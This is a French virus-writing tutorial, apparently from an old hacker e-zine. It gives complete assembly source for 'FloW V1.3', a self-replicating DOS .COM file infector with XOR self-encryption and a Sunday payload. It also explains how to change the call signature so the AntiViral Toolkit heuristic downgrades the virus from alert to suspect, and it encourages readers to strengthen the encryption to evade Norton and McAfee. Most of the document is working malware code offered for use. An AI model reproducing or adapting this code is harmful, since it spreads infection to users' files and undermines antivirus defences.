Update du virusOu comment passer plus inapercu ? Je m'excuse si cet article est tres court, mais je l'ecris en speed apres avoir lu mon 'Programmez magazine'. Dedans je vois un article sur AntiViral Toolkit, qui d'ailleurs est le meilleur anti virus a ce jour. Il parle de la recherche heuristique dans un prog pour detecter l'infection. Quelques lignes apres je trouve que Av toolkit recherche les bits E80000, Or ces bits correspondent au call de depart du virus pour determinez bp qui sert ensuite a situer le virus dans un fichier infecte . Me vint alors une idee (ca m'arrive), changez ce call. Faire en sorte que le virus fasse un call plus long au dessus des nop (no operation = 90h) et ensuite soustraire les nop rajoutes. Juste histoire de changer le E80000 par E8???? en sorte. Voila donc le code source du debut du virus. Je vais pas vous rabacher tout le source, vous devez le connaitre a force, hehe : debut: db 0e9h,0,0 ;on ecrie ca pour que le prog reconnaisse ;qu'il est deja infecte ;car sinon il va s'auto-infecter virus: call virus_start ;call pour pouvoir recuperer l'adresse db 090h,090h,090h,090h ;4 nop pour tromper AV-Toolkit (pas de E80000) virus_start: pop bp ;qu'on recupere lea cx,[virus_start-4] ;soustrait les 4 nops sub bp,cx ;et on adapte a nos besoinsVoila tout simplement koi. Je crois qu'y a pas besoin de plus commenter... Et voila comment on passe d'une "ALERTE" dans AVtoolkit, a un simple "SUSPECT", c'est deja pas mal. Bon maintenant comme je suis sympa, on va aller un peu plus loin. On va le crypter notre petit tueur. Juste avant je vous demanderais, si vous l'avez de me passer la liste de tous les opcodes que recherche AV toolkit. Ca serait vraiment cool ca. Cryptage ******** Pour crypter on va utiliser un simple XOR. Cela correspond a un "ou exclusif". Pour ceux qui savent pas ce que c'est regarder la table de verite realisee avec les bits : 1 1 0 0 1 0 1 0 ------- 0 1 1 0 On utilise cela car un simple XOR permet aussi de decrypter. Revenons au virus, il faudra une partie, celle du debut qui servira a decrypter. Il faut donc que cette partie soit non-cryptee, logique. Une autre partie sera non-cryptee, c'est celle qui possede la cle de decryptage et le flag indiquant si le fichier porteur est crypte (pour que le prog de depart n'essaie pas de se decrypter). Pour ce qui est de la routine de cryptage,je m'y prend de maniere bizarre mais plutot efficace alors... En fait je declare un buffer: cryptbuffer qui contiendra a la fois la partie a crypter et la partie finale non-cryptee. Ensuite je ne crypte que la partie qu'on veut crypter. Cela me permet de n'utiliser qu'une instruction d'ecriture dans le fichier pour ecrire a la fois le code crypte et le non-crypte de fin. Cependant attention ne declarez pas votre buffer avec des valeurs car votre virus deviendrait bien plus gros. Un "?" suffira. Bon voila, je vais etre oblige de vous rebalancer le source car des choses ont ete modifiees pour permettre l'encryption. Par exemple, le code etant devenu volumineux, les jmps ne pouvaient plus atteindre leurs cibles d'ou message d'erreur de Tasm. Pour y remedier on fait juste des "passerelles" avec des jmps. Une autre chose pour que vous compreniez mieux : si on utilise pas de buffer pour l'encryption le virus commence a ce crypter, jusqu'a arriver a la fonction de cryptage qui se corrompt et conduit a un plantage dans les regles. Bah voila quoi, j'ai l'impression de pas etre franchement clair la... Le source devrait y remedier. Second truc, la cle ne varie pas dans cet exemple. Essayez donc de le faire en fonction de l'heure du pc, hehe. Voila le source : (joint dans le zine) CODE SEGMENT ASSUME CS:CODE,DS:CODE ORG 100H debut: db 0e9h,0,0 ;on ecrie ca pour que le prog reconnaisse ;qu'il est deja infecte ;car sinon il va s'auto-infecter virus: call virus_start ;call pour pouvoir recuperer l'adresse db 090h,090h,090h,090h ;4 nop pour tromper AV-Toolkit pro (pas de E80000) virus_start: pop bp ;qu'on recupere lea cx,[virus_start-4] ;soustrait les 4 nops sub bp,cx ;et on adapte a nos besoins ;------------------------------------------------------------------------ cmp [bp+cryptverif],0 ;le fichier est crypte ? je restaurebits ;oui ! on le decrypte ;non ! on saute decrypt: mov al, [bp+key] ;cle de cryptage/decryptage dans al lea bx, [bp+restaurebits] ;bx pointe sur la partie cryptee mov cx, (virus_end-restaurebits) ;taille du decryptage boucle: xor byte ptr [bx], al ;le XOR inc bx ;bx = bx+1 loop boucle ;boucle tant que cx !=0 ;------------------------------------------------------------------------ restaurebits: mov cx,3 ;remet les 3 bits originaux mov di,100h ;depart du com lea si,[bp+buffer] ;endroit où on a copié les 3 bits rep movsb ;on le fait tant que cx!=0 dta: lea dx,[bp+mydta] ;adresse de mydta mov ah,1ah ;Set DTA int 21h ; CHECK_DAY: mov ah,2Ah ;Get Date int 21h ; cmp al,0 ;Dimanche ou pas ? jne pasgreve ;si non, on fait pas la greve ;sinon on continue ;greve lea dx,[bp+message] ;message ! push ax mov ax,0900h int 21h pop ax mov ah,4ch ;retour au dos int 21h pasgreve: ;findfirst mov ah,4Eh ; lea dx,[bp+fichiercom] ;findfirst int 21h ; OUVERTURE: jc finbis ;si on trouve pas on quitte mov ax,3D02h ;ouverture-du-fichier(le 02 indique lecture-ecriture) lea dx,[bp+mydta+1eh] ;nom dans DTA_PLACE+1eh int 21h mov bx,ax ;handle en bx CHECK_INFECTION: ;ca c'est du code barbare ! mov ah,3fh ;lecture du 1er bit mov cx,1 ;on en lit 1 lea dx,[bp+verification] ;le bit dans verification int 21h ; cmp [bp+verification], 0e9h ;compare le 1er bit a 0e9h jz FERMETUREBIS ;si = on cherche un autre INFECTION: mov ax, 4200h ;pointeur du fichier au debut xor cx, cx ; xor dx, dx ; int 21h ; mov ah,3fh ;lecture des premiers bits mov cx,3 ;on en lit 3 lea dx,[bp+buffer] ;les 3 bits dans buffer int 21h ; mov ax, 4202h ;pointeur du fichier a la fin xor cx, cx ; xor dx, dx ; int 21h ; jmp codagedujmp ;relais------------------- FERMETUREBIS: jmp FERMETURE finbis: ;relais pour le jmp de debut pointant vers la fin jmp fin ;se soit pas "out of range" OUVERTUREBIS: ;relais pour que le jmp a la fin jmp OUVERTURE ;puisse se faire ;fin du relais----------- codagedujmp: sub ax,3 mov word ptr [bp+buffer2+1],ax ;codage du jump ;ecriture du jmp mov ax, 4200h ;pointeur du fichier au debut xor cx, cx ; xor dx, dx ; int 21h ; mov ah, 40h ;ecriture du jmp mov cx, 3 ;on écrit 3 bits lea dx,[bp+buffer2] ;pointe sur le jmp code int 21h ; cryptage: ;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ mov [bp+cryptverif],1 ;Flag indiquant que le fichier le virus sera crypte lea si, [bp+restaurebits] ;transfere la partie du virus lea di, [bp+cryptbuffer] ;a copier dans le buffer + les variables non cryptes mov cx, virus_fin-restaurebits ;taille du transfert rep movsb ;on transfere tant que cx!=0 crypt: mov al, [bp+key] ;clé en al lea si, [bp+cryptbuffer] ;si pointe sur le buffer de cryptage mov cx, (virus_end-restaurebits) ;taille de seulement ce qu'il faut crypter myboucle: xor byte ptr [si], al ;le XOR inc si ;incremente loop myboucle ;on boucle tant que cx!=0 ;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ;infusion mov ax, 4202h ;pointeur du fichier a la fin xor cx, cx ; xor dx, dx ; int 21h ; mov ah,40h ;copie le debut du virus mov cx, restaurebits-virus ; lea dx, [bp+virus] ; int 21h ; mov ah,40h ;ecriture de la fin du virus mov cx, virus_fin-restaurebits ;en partie cryptee lea dx,[bp+cryptbuffer] ; int 21h FERMETURE: mov ah,3Eh ;fermeture-du-fichier int 21h mov ah,4Fh ;findnext int 21h ;si y en a pas on se casse jmp OUVERTUREBIS ;si y en a on revient fin: ;execution-du-prog-victime fin_cherche: mov dx,80h ;replacement de la dta mov ah,1ah int 21h mov di,100h ;di pointe a 100h (depart des coms) jmp di ;le virus passe la main au prog infecte ;============================================================================ variables: buffer db 3 dup (?) ;buffer des 3 bits fichiercom db '*.COM',0 ;cible: les coms buffer2 db 0e9h,?,? ;buffer du jmp de depart verification db ? ;sert pour tester si le fichier est deja infecte message db 'Je suis votre ordinateur, il est dimanche je refuse donc de travailler !','$' TiPiaX db 'FloW V1.3 By PoSeiDoN (Fr)' virus_end: cryptverif db 0 ;teste si le fichier est crypte ou non key db 23h ;cle de cryptage virus_fin: cryptbuffer db virus_fin-restaurebits dup (?) ; buffer pour cryptage mydta db 42 dup (?) ;on le met la car on ne veut pas copier le contenu ;de la DTA CODE ENDS END debutTiens beh tant que j'y pense on place le cryptbuffer apres "virus_fin" car on ne veut pas que celui ci s'attache au fichier victime. En effet ca reviendrait a copier 2 fois le virus a la fin du fichier. Si vous avez des questions, mailez moi. Ps: le milieu des virus est peu developpe en france, donc faites progresser le milieu en faisant des tuts meilleurs ou aussi pitoyables que les miens et distribuez tout ! Pour information, le virus ne fait que 397 octets, ce qui reste plutot acceptable. merci de m'avoir lu! Et n'oubliez pas : rien ne vous empeche de faire un virus crypte en RSA ou tout autre algo digne de faire chier la NSA. (en tout cas ca fera chier Norton, McAfee AVP et bien d'autres) TiPiaX |